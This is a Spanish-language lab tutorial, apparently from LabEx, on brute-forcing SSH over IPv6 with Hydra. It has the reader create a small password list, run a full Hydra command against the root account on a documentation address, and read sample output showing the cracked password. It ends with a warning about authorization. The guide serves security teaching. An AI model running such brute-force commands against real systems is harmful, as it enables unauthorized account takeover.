Crear una lista de contraseñas:
Abre una terminal en la máquina virtual (VM) de LabEx. Utiliza el editor nano
para crear un archivo llamado passwords.txt
en el directorio ~/project
:
nano ~/project/passwords.txt
Agrega las siguientes contraseñas al archivo, una contraseña por línea:
password
123456
qwerty
admin
secret
Guarda el archivo y sal de nano
(Ctrl+X, luego Y, luego Enter).
Ejecutar Hydra para atacar el servicio SSH IPv6:
Ahora, usaremos Hydra para atacar el servicio SSH. Usaremos la opción -6
para especificar que queremos apuntar a la dirección IPv6. También especificaremos el nombre de usuario a atacar (por ejemplo, root
), la lista de contraseñas que creamos (passwords.txt
) y la dirección IPv6 del servidor SSH (2001:db8:1::1
).
Ejecuta el siguiente comando:
hydra -6 -l root -P ~/project/passwords.txt ssh://2001:db8:1::1
Desglosemos este comando:
hydra
: El comando para ejecutar la herramienta Hydra.
-6
: Especifica que queremos usar IPv6.
-l root
: Especifica el nombre de usuario a atacar. En este caso, estamos atacando al usuario root
.
-P ~/project/passwords.txt
: Especifica la lista de contraseñas a utilizar. En este caso, estamos utilizando el archivo passwords.txt
que creamos en el directorio ~/project
.
ssh://2001:db8:1::1
: Especifica el servicio SSH objetivo. El prefijo ssh://
indica que estamos atacando un servicio SSH, y 2001:db8:1::1
es la dirección IPv6 del servidor.
Hydra ahora comenzará a probar las contraseñas del archivo passwords.txt
contra el servicio SSH. Si Hydra encuentra una contraseña válida, mostrará las credenciales. La salida debería ser similar a esto:
Hydra v9.1 (c) 2020 by van Hauser/THC - Use freely but only for legal purposes.
Hydra starting at 2023-10-27 10:00:00
[DATA] 1 task, 5 hosts, 5 tries per host
[DATA] attacking ssh://2001:db8:1::1:22
[22][ssh] host: 2001:db8:1::1 login: root password: password
Hydra finished.
Esta salida indica que Hydra ha crackeado con éxito la contraseña del usuario root
, y la contraseña es password
.
Nota importante: Realizar un ataque de fuerza bruta a las contraseñas de un sistema sin autorización es ilegal y poco ético. Este laboratorio es solo con fines educativos, y solo debes utilizar estas técnicas en sistemas que pertenezcan a ti o para los que tengas permiso explícito para probar.